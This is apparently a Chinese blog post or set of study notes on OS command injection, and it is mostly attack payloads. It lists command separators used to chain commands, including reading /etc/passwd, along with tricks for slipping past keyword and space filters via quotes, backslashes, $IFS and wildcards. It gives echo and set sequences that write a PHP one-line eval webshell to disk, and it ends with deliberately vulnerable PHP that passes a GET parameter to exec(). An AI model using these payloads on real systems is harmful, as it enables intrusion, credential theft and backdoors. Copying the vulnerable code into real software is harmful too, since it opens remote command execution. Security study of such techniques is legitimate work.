命令执行漏洞/命令注入
命令网站以操作系统的身份去执行某个命令
ping 127.0.0.1 & ipconfig //在windows是执行完一个再执行后面一个 linux是几乎同时执行
ping 127.0.0.1 && ipconfig //windwos是执行完前一个再执行后一个 Linux也是执行完前一个再执行后一个
ping 127.0.0.1 &;& ipconfig //windows中不能用 linux中其中的分号可以被解析为空 可以用来绕过防火墙限制
ping 127.0.0.1 || ipconfig //在windows中前面无法执行才会执行后面的,否则就只前面的 在linux中也是or 也是这样执行的
ping 127.0.0.1 | cat /etc/passwd //linux中叫管道符,把前面命令执行的结果给后面的命令去执行
![](https://img-blog.csdnimg.cn/b5e04802769a46698ab0e9566dddaad3.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAU2ltb25fU21pdGg=,size_20,color_FFFFFF,t_70,g_se,x_16)
![](https://img-blog.csdnimg.cn/1e0c3414c7e9497cb67ab0ab2f4dbc16.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAU2ltb25fU21pdGg=,size_20,color_FFFFFF,t_70,g_se,x_16)
防火墙屏蔽解决:
1.面对屏蔽ls等关键词 可以使用单引号
127.0.0.1 | l's'
2.有的文件无法执行(linux)
127.0.0.1 | c'h'mod 777 ../key.php
127.0.0.1 | chmo\d 777 ../key.php //如果单引号也被屏蔽的话
3.linux下的cat tac head tail的屏蔽
127.0.0.1 | paste ../haha.php
4.直接读取文件(
必须是绝对路径 ./这种相对路径不行)
127.0.0.1;curl file:///etc/passwd
5.php关键字的屏蔽情况 但是要求是读取haha.php
127.0.0.1 | c'a't ../haha.ph*
127.0.0.1 | c'a't ../haha.ph?
6.屏蔽空格 可以用其他字符替代空格
127.0.0.1&&cat${IFS}../haha.php
127.0.0.1&&cat$IFS$9../haha.php
还可以使用 <> < %20 %09 %IFS $IFS ${IFS} $IFS$9 替代空格
$IFS
${IFS}
$IFS$1 //1 改 成 1改成1改成加其他数字貌似都行
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09
7.屏蔽cat的情况
其他可以查看文件的命令有
cat tac more less head tail nl tailf sort paste
cat:从第一行开始显示内容,显示所有内容
tac:从后往前
more:一页一页查看内容
less:
head:查看头几行
tail:查看后几行
nl:类似于cat -n 显示行号
tailf:类似于 tail -f
补充linux命令:(详情见linux命令部分)
echo haha > 1.txt //在1.txt里写入haha(覆盖)(windows会自动换一行 特性而已)
echo haha >> 1.txt //追加 但是会换行追加
set /p="haha1" >zj.txt
set /p="haha2" >>zj.txt //它的追加不会换行,会直接在之前的内容后面加上去
echo -e 'di3hang' >>zj.txt //在linux上 -e表示的不换行的意思
可以用来写入一句话木马
linux下echo 后面的单引号双引号都不会被存进去 但是windows下的echo后面的内容会被同样写入进去
PS:windows下不能使用echo 因为输入流>会和php的<>干扰 所以必须要引号进行辅助 但是wincdows下echo会把引号也输入进去 所以必须要用set函数
但是linux下set和echo函数都可以使用 只不过根据需求区分 echo可以设置换行和不换行 但是set不能换行
windows:
set /p="<?php " >> z.php
set /p="eval(" >> z.php
set /p="$_POST[1]" >> z.php
set /p=");?>" >> z.php
linux:
echo -e '<?php\c ' >> z.php
echo -e 'eval(\c' >> z.php
echo -e '$_POST[1]\c' >> z.php
echo -e ');?>\c' >> z.php
echo '<?php' >>m.php
echo -e 'phpin\c' >> m.php
echo -e 'fo()\c' >> m.php
echo -e '?>\c' >> m.php
命令执行写入一句话木马测试代码:
<?php
$a=$_GET['cmd'];
$b=exec($a);
echo $b;
?>
![](https://img-blog.csdnimg.cn/cf8d0aafee694fa9b1a463b892885f3e.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAU2ltb25fU21pdGg=,size_20,color_FFFFFF,t_70,g_se,x_16)
命令执行漏洞复现代码
<?php
$a=$_GET['cmd'];
$b=exec($a);
echo $b;
?>
<?php
echo strlen($_GET['cmd']);
if(isset($_GET['cmd']) && strlen($_GET['cmd']) <=30){
@exec($_GET['cmd']);
}
?>